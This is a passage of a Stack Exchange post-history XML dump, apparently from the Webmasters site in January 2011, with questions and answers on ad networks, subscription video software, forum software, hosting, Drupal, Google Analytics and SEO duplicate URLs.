  <row Id="16213" PostHistoryTypeId="2" PostId="7649" RevisionGUID="e1adea2e-1973-449c-b868-f90ad9fe0a1e" CreationDate="2011-01-11T19:29:54.953" UserId="4335" Text="Can anyone recommend an ad network for a Flex website other than OpenX and Mochi Ads.&#xD;&#xA;&#xD;&#xA;I desperately need to get some ads on my site. Any advice?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;-Laxmidi&#xD;&#xA;&#xD;&#xA;[www.brainpinata.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.brainpinata.com" />
  <row Id="16214" PostHistoryTypeId="1" PostId="7649" RevisionGUID="e1adea2e-1973-449c-b868-f90ad9fe0a1e" CreationDate="2011-01-11T19:29:54.953" UserId="4335" Text="What is the Best Ad Network for a Flex Website?" />
  <row Id="16215" PostHistoryTypeId="3" PostId="7649" RevisionGUID="e1adea2e-1973-449c-b868-f90ad9fe0a1e" CreationDate="2011-01-11T19:29:54.953" UserId="4335" Text="&lt;advertising&gt;" />
  <row Id="16216" PostHistoryTypeId="2" PostId="7650" RevisionGUID="e62db29e-9694-4e2e-9792-f6b237559d7c" CreationDate="2011-01-11T19:47:03.923" UserId="2176" Text="I'd like to sell instructional videos over the web.  Primarily, I'd like uses to subscribe to the site and be allowed access to videos over the internet.  Secondarily, I might sell DVDs for those who have poor internet connections or would like a physical copy, or possibly I'd sell eBooks and the like in the future.&#xD;&#xA;&#xD;&#xA;Regarding the subscriptions:&#xD;&#xA;&#xD;&#xA;- I'd like a system that automatically sends out e-mails when it is time to renew&#xD;&#xA;- I'd like to be able to offer free trials&#xD;&#xA;- Users without a free trial or subscription should not be able to access the content&#xD;&#xA;&#xD;&#xA;  - Incidentally, I plan to host videos on my current web host and move them to a CDN when volume (and capital) make this a good idea.  While I have no intention to go crazy with the DRM, it seems expedient not to directly link to the files -- how can I link to them indirectly?&#xD;&#xA;&#xD;&#xA;- It would be nice to support multiple payment processors -- specifically, I'd like to avoid a PayPal only approach.&#xD;&#xA;&#xD;&#xA;Are there any web applications (or plugins) you'd recommend for something like this?  While I've set up and administered several web technologies, I've never done anything with e-commerce.  I see there are possibilities like osCommerce, one friend recommends using WordPress with plugins, and it really appears that for any given CMS, you can graft on components like this, although I imagine that not all are created equal.&#xD;&#xA;&#xD;&#xA;As I'm not tied to a particular web application (and, while open source software that can run on a LAMP [p=perl, python, php] stack is preferable), I'd like to make a good choice at the beginning.    &#xD;&#xA;" />
  <row Id="16217" PostHistoryTypeId="1" PostId="7650" RevisionGUID="e62db29e-9694-4e2e-9792-f6b237559d7c" CreationDate="2011-01-11T19:47:03.923" UserId="2176" Text="Software for video subscription service" />
  <row Id="16218" PostHistoryTypeId="3" PostId="7650" RevisionGUID="e62db29e-9694-4e2e-9792-f6b237559d7c" CreationDate="2011-01-11T19:47:03.923" UserId="2176" Text="&lt;ecommerce&gt;&lt;recommendations&gt;" />
  <row Id="16219" PostHistoryTypeId="2" PostId="7651" RevisionGUID="bd3acb33-6345-4885-9abc-e83f9066b193" CreationDate="2011-01-11T19:58:30.903" UserId="4555" Text="This isn't a technical question, but more of a request for advice and empirical/anecdotal data.&#xD;&#xA;&#xD;&#xA;I'm nearly done writing a free app for iPhone, and I'm at the stage where I'm going to put ads into the app. I've had mixed success in the past with iAd (their fill rates have been atrocious recently, and their payouts have cut by about 75% over the past 4 months or so), and would like to know how much ad revenue you, the community, has seen from the various ad APIs you've used for your iPhone apps.&#xD;&#xA;&#xD;&#xA;This isn't a request for opinion, i.e. which is 'better', only what kinds of numbers you're seeing. I don't need absolute figures, but 'iAd pays x% higher than AdMob, and y% lower than AdSense' would be extremely helpful to me as I make my decision as to which ad API to integrate into my App.&#xD;&#xA;&#xD;&#xA;Also, have you had any experience or success with integrating multiple ad APIs into the same app? That's something I'm considering doing in my current iAd-filled apps (particularly my iPad app, which has yet to receive a single impression after nearly 60,000 requests)... something like: 1) Request-from-iAd 2) if that fails, request-from-adSense 3) if that fails, request-from-adMob 4) if that fails, ... etc." />
  <row Id="16220" PostHistoryTypeId="1" PostId="7651" RevisionGUID="bd3acb33-6345-4885-9abc-e83f9066b193" CreationDate="2011-01-11T19:58:30.903" UserId="4555" Text="Which iPhone ad API has produced the highest revenue for you?" />
  <row Id="16221" PostHistoryTypeId="3" PostId="7651" RevisionGUID="bd3acb33-6345-4885-9abc-e83f9066b193" CreationDate="2011-01-11T19:58:30.903" UserId="4555" Text="&lt;advertising&gt;&lt;iphone&gt;" />
  <row Id="16222" PostHistoryTypeId="10" PostId="7651" RevisionGUID="0ee3c0e1-38f9-40c7-a492-2049711baf26" CreationDate="2011-01-11T20:14:20.110" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16223" PostHistoryTypeId="25" PostId="7574" RevisionGUID="32da1818-4590-426f-9dec-5a0fcf1c539b" CreationDate="2011-01-11T22:54:40.690" Comment="http://twitter.com/#!/StackWebmasters/status/24962425262440448" />
  <row Id="16224" PostHistoryTypeId="25" PostId="7645" RevisionGUID="a9638432-5f2d-4948-bf50-d1f70dc1769a" CreationDate="2011-01-11T22:54:43.107" Comment="http://twitter.com/#!/StackWebmasters/status/24962433575555072" />
  <row Id="16225" PostHistoryTypeId="25" PostId="7651" RevisionGUID="f4a93c2d-a929-4713-99cf-ba3aa7fa840c" CreationDate="2011-01-11T22:55:26.093" Comment="http://twitter.com/#!/StackWebmasters/status/24962616153612288" />
  <row Id="16226" PostHistoryTypeId="2" PostId="7652" RevisionGUID="f8ec17ea-230c-42e3-b440-59ffaa8a0eb2" CreationDate="2011-01-11T23:03:48.703" UserId="4558" Text="Not that difficult, &#xD;&#xA;&#xD;&#xA;first you need a good design. If the original visuals are bad you cannot do anything at all. &#xD;&#xA;&#xD;&#xA;then you need to know which file format is good for where, PNG for most at the moment, GIF for very low color counts and animations, JPGs for Photos which thumbs PNG as PNG file size becomes too big at photos.&#xD;&#xA;&#xD;&#xA;And finally compression of JPGs. Every image should be checked with human eye for exporting with right compression values, for example JPGs are bugged with red if you compress it too much reds in jpgs become very nasty looking. &#xD;&#xA;&#xD;&#xA;Good designers with sense of file size still pay attention to compression values but most are now just using PNGs and no compression values for JPG images to avoid such decays in quality.&#xD;&#xA;&#xD;&#xA;And also using the right software is essential, Photoshop and Fireworks are 2 most popular ones that handle image exporting pretty decently. For me Fireworks knocks out PS bad for web exporting :) " />
  <row Id="16227" PostHistoryTypeId="2" PostId="7653" RevisionGUID="045464bf-b8a4-4607-a05e-118f2905b69a" CreationDate="2011-01-11T23:12:42.850" UserId="4558" Text="For starters &#xD;&#xA;&#xD;&#xA;istockphoto.com has some great packages for sale&#xD;&#xA;&#xD;&#xA;also &#xD;&#xA;&#xD;&#xA;www.iconshoppe.com&#xD;&#xA;www.iconfactory.com/stockicons&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and there is always Smashing Mag for great reviews.&#xD;&#xA;&#xD;&#xA;www.smashingmagazine.com/2009/06/07/50-fresh-useful-icon-sets-for-your-next-design/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16228" PostHistoryTypeId="2" PostId="7654" RevisionGUID="76982218-2db9-40f8-805b-b81cb39e62e9" CreationDate="2011-01-11T23:54:29.467" UserId="3707" Text="If you can run wordpress, I would recommend you get [wp eStore][1] plugin. It does pretty much all the things you want. Check out the demo tutorials.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tipsandtricks-hq.com/wordpress-estore-plugin-complete-solution-to-sell-digital-products-from-your-wordpress-blog-securely-1059" />
  <row Id="16229" PostHistoryTypeId="25" PostId="7622" RevisionGUID="ffcd90a6-a223-4073-b1fb-815915a10c4d" CreationDate="2011-01-12T01:55:26.870" Comment="http://twitter.com/#!/StackWebmasters/status/25007917098868736" />
  <row Id="16230" PostHistoryTypeId="2" PostId="7655" RevisionGUID="2bc5801e-2e5f-4ccc-ace0-8c6366f8a34d" CreationDate="2011-01-12T01:56:29.613" UserId="4560" Text="Why are my domains being blocked by Smartfilter (owned by Yahoo) at work. &#xD;&#xA;I buddy mentioned that he had the issue before. He &quot;categorized&quot; his domain with his registrar, changing it from &quot;Uncategorized&quot;. Shortly after it worked.&#xD;&#xA;&#xD;&#xA;How can domains be categorized? I look through all the options at my registrar (Go Daddy) without finding one for domain categories. &#xD;&#xA;&#xD;&#xA;Any help would be appeciated" />
  <row Id="16231" PostHistoryTypeId="1" PostId="7655" RevisionGUID="2bc5801e-2e5f-4ccc-ace0-8c6366f8a34d" CreationDate="2011-01-12T01:56:29.613" UserId="4560" Text="why are my sites bien blocked by Smartfilter at my work" />
  <row Id="16232" PostHistoryTypeId="3" PostId="7655" RevisionGUID="2bc5801e-2e5f-4ccc-ace0-8c6366f8a34d" CreationDate="2011-01-12T01:56:29.613" UserId="4560" Text="&lt;domain-registration&gt;" />
  <row Id="16238" PostHistoryTypeId="2" PostId="7657" RevisionGUID="069b1b13-9f45-41de-be36-0ec7c430c5e1" CreationDate="2011-01-12T06:23:22.060" UserId="4461" Text="These are more commonly referred to as crawler user-agents. The subdomains of the agents normally refer to a server ID (sometimes including the IP address).&#xD;&#xA;&#xD;&#xA;You can find a comprehensive list at http://www.user-agents.org/" />
  <row Id="16239" PostHistoryTypeId="2" PostId="7658" RevisionGUID="e4beff36-80d5-4b2d-b438-790c97e21c30" CreationDate="2011-01-12T06:52:24.207" UserId="3707" Text="P2H, [psd2html][1] is the popular one out there. Although there are many. like http://www.xhtmlchop.com/&#xD;&#xA;&#xD;&#xA;I know many that have used p2h in the past. So, i think it should be safe.&#xD;&#xA;&#xD;&#xA;my 2 cents&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.psd2html.com/" />
  <row Id="16240" PostHistoryTypeId="25" PostId="7655" RevisionGUID="df54747f-2c89-4bfa-8889-1ffab7204066" CreationDate="2011-01-12T07:55:26.967" Comment="http://twitter.com/#!/StackWebmasters/status/25098515449389056" />
  <row Id="16242" PostHistoryTypeId="2" PostId="7660" RevisionGUID="3f93085d-8311-466a-98c1-f4886d0c9ab4" CreationDate="2011-01-12T09:26:09.590" UserId="4563" Text="We run an international organisation that is looking at implementing MS SharePoint.&#xD;&#xA;&#xD;&#xA;Who would you suggest we use? Currently we are looking at: Verio, Rackspace, SherWeb.&#xD;&#xA;&#xD;&#xA;In particular we're hoping for a reliable provider that has better international connectivity. Server uptime and service responsiveness are our main key requirements.&#xD;&#xA;&#xD;&#xA;Greg" />
  <row Id="16243" PostHistoryTypeId="1" PostId="7660" RevisionGUID="3f93085d-8311-466a-98c1-f4886d0c9ab4" CreationDate="2011-01-12T09:26:09.590" UserId="4563" Text="What Sharepoint Server Hosting provider would you suggest?" />
  <row Id="16244" PostHistoryTypeId="3" PostId="7660" RevisionGUID="3f93085d-8311-466a-98c1-f4886d0c9ab4" CreationDate="2011-01-12T09:26:09.590" UserId="4563" Text="&lt;web-hosting&gt;&lt;cloud-hosting&gt;&lt;microsoft&gt;" />
  <row Id="16245" PostHistoryTypeId="2" PostId="7661" RevisionGUID="ff7f5daa-c184-4fdc-afa2-c8a172fdac94" CreationDate="2011-01-12T10:02:25.940" UserDisplayName="Ameer" Text="Refer http://torproject.org/docs/faq-abuse.html.en#Bans" />
  <row Id="16249" PostHistoryTypeId="5" PostId="7661" RevisionGUID="906abd02-79d4-4414-a6cb-0bbb521d1a2e" CreationDate="2011-01-12T10:10:29.987" UserId="3" Comment="added 800 characters in body" Text="Refer http://torproject.org/docs/faq-abuse.html.en#Bans&#xD;&#xA;&#xD;&#xA;&gt; First, ask yourself if there's a way to do application-level decisions to separate the legitimate users from the jerks.&#xD;&#xA;&gt;&#xD;&#xA;&gt; Second, consider that hundreds of thousands of people use Tor every day simply for good data hygiene. &#xD;&#xA;&gt; &#xD;&#xA;&gt; Ask yourself what you do about other services that aggregate many users behind a few IP addresses; Tor is not so different from AOL in this respect.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Lastly, please remember that Tor relays have [individual exit policies][3].&#xD;&#xA;&gt;&#xD;&#xA;&gt; If you really want to do this, we provide a [Tor exit relay list][1] or a [DNS-based list][2] you can query.&#xD;&#xA;&#xD;&#xA;[1]: https://check.torproject.org/cgi-bin/TorBulkExitList.py&#xD;&#xA;[2]: https://www.torproject.org/projects/tordnsel.html.en&#xD;&#xA;[3]: https://trac.torproject.org/projects/tor/wiki/TheOnionRouter/TorFAQ#ExitPolicies&#xD;&#xA;" />
  <row Id="16250" PostHistoryTypeId="2" PostId="7662" RevisionGUID="9c9f2d88-3cbd-4930-ae87-7c934359eac6" CreationDate="2011-01-12T10:25:10.087" UserDisplayName="TimeRaiser" Text="Take the new way: http://www.squizlabs.com/view?a=2697" />
  <row Id="16251" PostHistoryTypeId="25" PostId="7584" RevisionGUID="a0340a1b-f398-4490-b580-abe0ff4fb3cf" CreationDate="2011-01-12T10:55:26.867" Comment="http://twitter.com/#!/StackWebmasters/status/25143812628160513" />
  <row Id="16252" PostHistoryTypeId="5" PostId="6532" RevisionGUID="51da3abc-96be-4f68-a1dd-deff3b6274b7" CreationDate="2011-01-12T11:07:20.540" UserId="3307" Comment="added 2 characters in body" Text="[This site][1] gives Tumblrmap as a good example.&#xD;&#xA;&#xD;&#xA;**Edit:** as stated in the comment below this site is now dead.&#xD;&#xA;&#xD;&#xA;HOWEVER. It looks like Tumblr now has sitemaps. Go to http://site.tumblr.com/sitemap.xml &#xD;&#xA;&#xD;&#xA;On the site I checked ([http://kylewritescode.com][2]) it gave a URL to another page. I went to that page and the sitemap is there. However, I'm assuming that on most others the original page is the sitemap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tothepc.com/archives/generate-xml-sitemap-of-tumblr-blog-submit-to-google/&#xD;&#xA;  [2]: http://kylewritescode.com" />
  <row Id="16253" PostHistoryTypeId="2" PostId="7663" RevisionGUID="650e4872-6ed2-4b92-a374-43a6c76a0848" CreationDate="2011-01-12T11:08:55.767" UserId="3307" Text="I think anyone who can provide decent windows hosting will suffice. My vote would be for Rackspace" />
  <row Id="16254" PostHistoryTypeId="6" PostId="7660" RevisionGUID="8e26ef9c-6f04-4974-aa38-1d716d5f4254" CreationDate="2011-01-12T11:09:07.280" UserId="3307" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;cloud-hosting&gt;&lt;microsoft&gt;&lt;sharepoint&gt;" />
  <row Id="16255" PostHistoryTypeId="2" PostId="7664" RevisionGUID="a9133051-ed44-4e69-8a10-b3b74043109d" CreationDate="2011-01-12T11:19:00.960" UserId="2290" Text="google webmaster tools -&gt; your site on the web -&gt; links to your site (export and correlate in a spreadsheet)" />
  <row Id="16256" PostHistoryTypeId="2" PostId="7665" RevisionGUID="8f9c1385-5cea-4afd-bc86-7bbd62e61a6d" CreationDate="2011-01-12T11:34:28.797" UserId="3307" Text="Talk to your IT department. It might be that they found you going to them a lot and felt it necessary to block them." />
  <row Id="16257" PostHistoryTypeId="2" PostId="7666" RevisionGUID="29af8b19-8b93-4c58-998e-21a50be1dc23" CreationDate="2011-01-12T11:36:19.683" UserId="3307" Text="Is there a 64bit version of Flash installed? Do the videos work on youtube? Have you embedded the right code?" />
  <row Id="16258" PostHistoryTypeId="2" PostId="7667" RevisionGUID="4f72a152-80d8-4961-86e5-420a0e8ae97e" CreationDate="2011-01-12T11:36:41.853" UserId="1757" Text="Are you asking for a source that shows the latest current stable version of each app? If so, I think that's what [package managers][1] are for.&#xD;&#xA;&#xD;&#xA;So just pick the distro of your choice, their website should point you to the latest build. Then run `apt-get`/`yum` and install the latest stable release of each part of the stack. Or, if you're running Ubuntu, you could just use `tasksel` to install the AMP part in one go. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.apt-get.org/" />
  <row Id="16259" PostHistoryTypeId="2" PostId="7668" RevisionGUID="d121d697-079f-4692-955b-a85e9df5314d" CreationDate="2011-01-12T11:40:16.433" UserId="4566" Text="I've been using phpBB3 for quite some time now. It seems to me this forum software hasn't evolved at all in all these years. Installing mods is a hassle, updating it to a newer version a real pain in the arse and moderating is not intuitive at all. &#xD;&#xA;&#xD;&#xA;Besides, I find there's just no way to stop spam on it. Lots of web software have made a great job controlling spam, but phpBB3 still doesn't, at least not without too much complex and tedious work.&#xD;&#xA;&#xD;&#xA;Since my last attempt to update to the latest version broke it, I'm finally fed up with it, and decide I'm not wasting a minute more in mantaining such a beast.&#xD;&#xA;&#xD;&#xA;I'm looking for a free software (free as in free beer and free as in free speech) alternative. So SMF is not an alternative at the moment.&#xD;&#xA;&#xD;&#xA;The most important feature I'm looking for is there must be a script to migrate all of the current phpBB users and posts into the new system.&#xD;&#xA;&#xD;&#xA;Out of all the alternatives out there, does any of them support these features? Which one do you recommend?" />
  <row Id="16260" PostHistoryTypeId="1" PostId="7668" RevisionGUID="d121d697-079f-4692-955b-a85e9df5314d" CreationDate="2011-01-12T11:40:16.433" UserId="4566" Text="Forum software alternative to phpBB3" />
  <row Id="16261" PostHistoryTypeId="3" PostId="7668" RevisionGUID="d121d697-079f-4692-955b-a85e9df5314d" CreationDate="2011-01-12T11:40:16.433" UserId="4566" Text="&lt;forum&gt;" />
  <row Id="16262" PostHistoryTypeId="2" PostId="7669" RevisionGUID="e6431d4b-6b68-4456-a916-fe32525b6683" CreationDate="2011-01-12T11:40:54.533" UserId="3307" Text="Could you use something like [backblaze][1] or [mozy][2]? I've not tried using these on a server, but you could then setup the sql server to backup to a particular location then backup that directory using one of the above. You could definitely use the above tools to backup the files.&#xD;&#xA;&#xD;&#xA;For the sql server, you could use something like Red Gate's [SQL Backup][3], but you'd probably want to back the database up off-site.&#xD;&#xA;&#xD;&#xA;I should probably note, that none of the above can really be called &quot;one click&quot;, but it's certainly something to consider.&#xD;&#xA;&#xD;&#xA;Also, I'm assuming that you have remote access to the server and that you're not using any sort of shared hosting.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;Just noticed that you've got a reseller account. I don't think that there's really going to be much around that you can use. I would suggest moving to an account where you have remote access (i.e. admin access) or move to some kind of Linux hosting where you have cron available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.backblaze.com/index-k.html&#xD;&#xA;  [2]: http://www.mozy.com&#xD;&#xA;  [3]: http://www.red-gate.com/products/dba/sql-backup/" />
  <row Id="16263" PostHistoryTypeId="5" PostId="7667" RevisionGUID="f2e8df69-7fd8-4252-ad9b-c4db7c395c4b" CreationDate="2011-01-12T12:05:35.890" UserId="1757" Comment="added 395 characters in body" Text="Are you asking for a source that shows the latest current stable version of each app? If so, I think that's what [package managers][1] are for.&#xD;&#xA;&#xD;&#xA;So just pick the distro of your choice, their website should point you to the latest build. Then run `apt-get`/`yum` and install the latest stable release of each part of the stack. Or, if you're running Ubuntu, you could just use `tasksel` to install the AMP part in one go.&#xD;&#xA;&#xD;&#xA;**Edit:** I don't think there are any special considerations (other than whether you want to run PHP over CGI or as a module) you need to make for these packages. Installing a WAMP stack is a little more tricky, but on linux you can just choose the latest stable and run with it. Though you may need to choose an older stable if there's a compatibility issue with PHP/MySQL and your web apps.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apt-get.org/" />
  <row Id="16264" PostHistoryTypeId="2" PostId="7670" RevisionGUID="8269eaf5-90eb-4aa5-a45f-24b80e216708" CreationDate="2011-01-12T12:41:11.133" UserId="4451" Text="My favorites (and strong suggestions) are Vanilla Forums and PunBB&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;vanillaforums.org&lt;br/&gt;&#xD;&#xA;punbb.informer.com&#xD;&#xA;&#xD;&#xA;As far as migrating from one software to another, there is always going to be some work involved.  Testing, checking, and more testing.  Each one of these has a substantial community and user base, and I have no doubt that you can do it fairly easy.  While I am not sure if there is 1 script to rule them all for migration, I know that the necessary steps are out there in their support forums.&#xD;&#xA;&#xD;&#xA;Plenty of huge companies use Vanilla and PunBB (and also phpBB).&#xD;&#xA;&#xD;&#xA;There is also bbPress (by Automattic), but don't know enough to give a review of it.&lt;br/&gt;&#xD;&#xA;bbpress.org&#xD;&#xA;&#xD;&#xA;And another favorite of mine, Drupal with Advanced Forum, but you need to know how to use Drupal first, which has a very steep learning curve.&lt;br/&gt;&#xD;&#xA;drupal.org&lt;br/&gt;&#xD;&#xA;drupal.org/project/advanced_forum" />
  <row Id="16265" PostHistoryTypeId="5" PostId="7670" RevisionGUID="3436aacf-4fec-43f8-b919-4955fdd63e25" CreationDate="2011-01-12T12:46:26.467" UserId="4451" Comment="added 199 characters in body" Text="My favorites (and strong suggestions) are Vanilla Forums and PunBB&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;vanillaforums.org&lt;br/&gt;&#xD;&#xA;punbb.informer.com&#xD;&#xA;&#xD;&#xA;As far as migrating from one software to another, there is always going to be some work involved.  Testing, checking, and more testing.  Each one of these has a substantial community and user base, and I have no doubt that you can do it fairly easy.  While I am not sure if there is 1 script to rule them all for migration, I know that the necessary steps are out there in their support forums.&#xD;&#xA;&#xD;&#xA;Plenty of huge companies use Vanilla and PunBB (and also phpBB).&#xD;&#xA;&#xD;&#xA;There is also bbPress (by Automattic), but don't know enough to give a review of it.&lt;br/&gt;&#xD;&#xA;bbpress.org&#xD;&#xA;&#xD;&#xA;And another favorite of mine, Drupal with Advanced Forum, but you need to know how to use Drupal first, which has a very steep learning curve.&lt;br/&gt;&#xD;&#xA;drupal.org&lt;br/&gt;&#xD;&#xA;drupal.org/project/advanced_forum&#xD;&#xA;&#xD;&#xA;As far as spam goes, IMHO, it's all what you make it.  BlackHatters have software to spam ALL of these forums if you don't have security tight.  You will need to put your dues in to prevent spam." />
  <row Id="16266" PostHistoryTypeId="2" PostId="7671" RevisionGUID="0e6ec0fe-912d-4625-bf29-cab2c7581c11" CreationDate="2011-01-12T06:29:01.253" UserDisplayName="sagar" Text="is there a problem if I don't setup google analytics in my website? &#xD;&#xA;&#xD;&#xA;I have read lot of articles describing use of google analytics but I have not added it in my site. &#xD;&#xA;&#xD;&#xA;In Cpanel I can check all things like stats, unique visitor etc and in google analytics its almost same but if I want sponsor for my site then is it necessary to have google analytics? or can cpanel stats be shown to sponsor? &#xD;&#xA;&#xD;&#xA;Thanks for reading! I hope I get an answer!" />
  <row Id="16267" PostHistoryTypeId="1" PostId="7671" RevisionGUID="0e6ec0fe-912d-4625-bf29-cab2c7581c11" CreationDate="2011-01-12T06:29:01.253" UserDisplayName="sagar" Text="Is there a problem if I don't setup google analytics in my website?" />
  <row Id="16268" PostHistoryTypeId="3" PostId="7671" RevisionGUID="0e6ec0fe-912d-4625-bf29-cab2c7581c11" CreationDate="2011-01-12T06:29:01.253" UserDisplayName="sagar" Text="&lt;google-analytics&gt;" />
  <row Id="16269" PostHistoryTypeId="17" PostId="7671" RevisionGUID="2f6cf5cc-69cc-47d2-b8e7-a5de14404617" CreationDate="2011-01-12T12:52:06.837" UserId="-1" Comment="from http://stackoverflow.com/questions/4665946/is-there-a-problem-if-i-dont-setup-google-analytics-in-my-website" Text="" />
  <row Id="16270" PostHistoryTypeId="2" PostId="7672" RevisionGUID="2815eee0-00fd-4b1f-8a13-8ddbdf52b539" CreationDate="2011-01-12T12:52:58.803" UserId="4451" Text="I say Drupal all the way.  Granted, I am a Drupal maniac.  Anything is possible with Drupal.  I would steer clear of Joomla.  It just doesn't have the modularity, customization and api's to build a complex site." />
  <row Id="16271" PostHistoryTypeId="2" PostId="7673" RevisionGUID="e37ea278-c2e6-4a8b-afcb-17d7edc9a17b" CreationDate="2011-01-12T12:58:53.903" UserId="4451" Text="Open Atrium&lt;br /&gt;&#xD;&#xA;Drupal&lt;br /&gt;&#xD;&#xA;Alfresco&lt;br /&gt;&#xD;&#xA;Acquia Drupal Commons&lt;br /&gt;&#xD;&#xA;acquia.com/products-services/drupal-commons" />
  <row Id="16272" PostHistoryTypeId="2" PostId="7674" RevisionGUID="60f5d9c0-3dbf-45ad-aa2e-5e09be108499" CreationDate="2011-01-12T13:03:41.483" UserId="4451" Text="You ask, &quot;is there any alternative to aegir?&quot;  But then you say &quot;for multiple cms sites? to drupal or even joomla? im afraid wordpress just isnt enough when its not a blog.&quot;&#xD;&#xA;&#xD;&#xA;-Does this mean you already looked at or tried Ægir? Ægir is hands down the best way to host multiple Drupal installs.&#xD;&#xA;&#xD;&#xA;I think this question should stay here.&#xD;&#xA;&#xD;&#xA;If Wordpress MU is not enough, Ægir is what you need if you want to go Drupal." />
  <row Id="16273" PostHistoryTypeId="2" PostId="7675" RevisionGUID="c551aa96-685a-406b-8c1a-27502e8783a5" CreationDate="2011-01-12T13:10:18.547" UserId="4451" Text="I strongly suggest that you look at Drupal.  It has a very steep learning curve, but it is 110% worth it in the end.  " />
  <row Id="16274" PostHistoryTypeId="2" PostId="7676" RevisionGUID="55c2b841-33f4-4510-8ffe-b828a8d5954e" CreationDate="2011-01-12T13:13:10.860" UserId="221" Text="Google Analytics can be very useful, but it is generally not required. Typically if you are showing ads for syndications (such as Google) then the ad is loaded from the syndicator each time, so they track hits that way.&#xD;&#xA;&#xD;&#xA;There may be instances where someone requires you to provide numbers from Google Analytics, but those situation are atypical." />
  <row Id="16275" PostHistoryTypeId="2" PostId="7677" RevisionGUID="02fe0d70-87c3-4b23-ad49-ac4c788f4e48" CreationDate="2011-01-12T13:39:18.503" UserId="4451" Text="Don't upgrade until either all of your modules are D7 stable, or you can bring them up to speed yourself.  And if you can do the latter, contribute that back to the community." />
  <row Id="16276" PostHistoryTypeId="2" PostId="7678" RevisionGUID="58ed547d-463c-4d42-9d2c-2399091d19d9" CreationDate="2011-01-12T13:47:55.690" UserId="4451" Text="Take a look at these modules:&lt;br /&gt;&#xD;&#xA;http://drupal.org/project/fb&lt;br /&gt;&#xD;&#xA;http://drupal.org/project/fbconnect&lt;br /&gt;&#xD;&#xA;http://drupal.org/project/activitystream" />
  <row Id="16277" PostHistoryTypeId="25" PostId="7668" RevisionGUID="57a43bca-6267-4d36-abd4-ca9c14b7b3a2" CreationDate="2011-01-12T13:55:26.737" Comment="http://twitter.com/#!/StackWebmasters/status/25189111014891520" />
  <row Id="16278" PostHistoryTypeId="2" PostId="7679" RevisionGUID="fff67f21-e7f2-47a6-b509-817e70d715cf" CreationDate="2011-01-12T14:05:40.517" UserId="4451" Text="I would set it up anyway.  It takes about 5 minutes and is a piece of cake.  Even if you don't use it, it won't hurt, and can only help the way Google views your website." />
  <row Id="16279" PostHistoryTypeId="5" PostId="7663" RevisionGUID="963b22f2-5542-410c-b1da-5b3f041c5eda" CreationDate="2011-01-12T14:27:03.597" UserId="3307" Comment="added 255 characters in body" Text="I think anyone who can provide decent windows hosting will suffice. My vote would be for Rackspace.&#xD;&#xA;&#xD;&#xA;One other thing I've just remembered: Rackspace do [managed sharepoint hosting][1] (although I don't know if managed is the right word) so you don't have to worry about any of the hosting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.co.uk/email-apps/sharepoint/" />
  <row Id="16280" PostHistoryTypeId="2" PostId="7680" RevisionGUID="9c642976-e6e3-4a52-a985-350fcfaf3ee4" CreationDate="2011-01-12T14:35:57.530" UserId="1089" Text="To answer the question directly - no there is not a problem if you don't set up a google analytics account. Millions of websites don't use google analytics.&#xD;&#xA;&#xD;&#xA;In this instance I would define &quot;problem&quot; as: google don't penalise websites for not using analytics.&#xD;&#xA;&#xD;&#xA;Now my opinion - whilst it won't do you any harm to *not* have them, it doesn't do any harm *to have them* either. If it provides no additional information to your cPanel stats, then nothing lost (other than a bit of time)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16281" PostHistoryTypeId="2" PostId="7681" RevisionGUID="38c27461-6c0f-4fd5-80c3-01e24ef1cd75" CreationDate="2011-01-12T14:47:21.217" UserId="1089" Text="&quot;Why are my domains being blocked by Smartfilter&quot;&#xD;&#xA;&#xD;&#xA;To put it as simply as possible, smartfilter categorized your site as (for example) &quot;Sports and recreation&quot; your company decided to block all sites in the category &quot;Sports and recreation&quot; &#xD;&#xA;&#xD;&#xA;Your site isn't being directly blocked, it just happens to sit in a category your company chooses to block.&#xD;&#xA;&#xD;&#xA;To fix this you can either challenge your workplace to unblock that category, or challenge smartfilter that the categorisation is an incorrect one. Without knowing what your website is, or how Smartfilter deals with challenges, I don't know how successful either is likely to be.&#xD;&#xA;&#xD;&#xA;You won't be able to this via your own webhost or registrar - if you were allowed to do this it would be wide open to cheating and gaming.&#xD;&#xA;&#xD;&#xA;&quot;How can domains be categorized?&quot;&#xD;&#xA;From my observational experience categorisation is fairly simple - sites are crawled and if the content matches some keywords in a category it goes in there." />
  <row Id="16282" PostHistoryTypeId="2" PostId="7682" RevisionGUID="1b176ff3-9b6f-459f-91c8-598e2a3ff5a3" CreationDate="2011-01-12T16:48:05.823" UserDisplayName="Rob Goldstein" Text="I own a Job Search site named [www.conservationjobboard.com][1] and have a concern about how the domain is viewed by search engines. The issue is that when the site was first designed, the default page was left as default.php, but the homepage was actually JobBoard.php. To handle this, the default.php page performed a redirect to the JobBoard.php file when www.conservationjobboard.com/ was requested.&#xD;&#xA;&#xD;&#xA;The main problem resulted because the redirect was a temporary redirect causing search engines to index conservationjobboard.com/ and conservationjobboard.com/JobBoard.php as 2 separate pages. This has since been corrected to use the .htaccess file so that JobBoard.php is now the default file for the root directory eliminating the need for the redirect. Problem is that search engines still show both URL's in search results (one including JobBoard.php and one that ends with /).&#xD;&#xA;&#xD;&#xA;Another potential problem is that some of my early backlinks are to conservationjobboard.com/JobBoard.php while the rest are to conservationjobboard.com&#xD;&#xA;&#xD;&#xA;The 2 outstanding questions are as follows: 1. Is my domain still being penalized by search engines like Google for having duplicate homepage URL's? 2. Are all 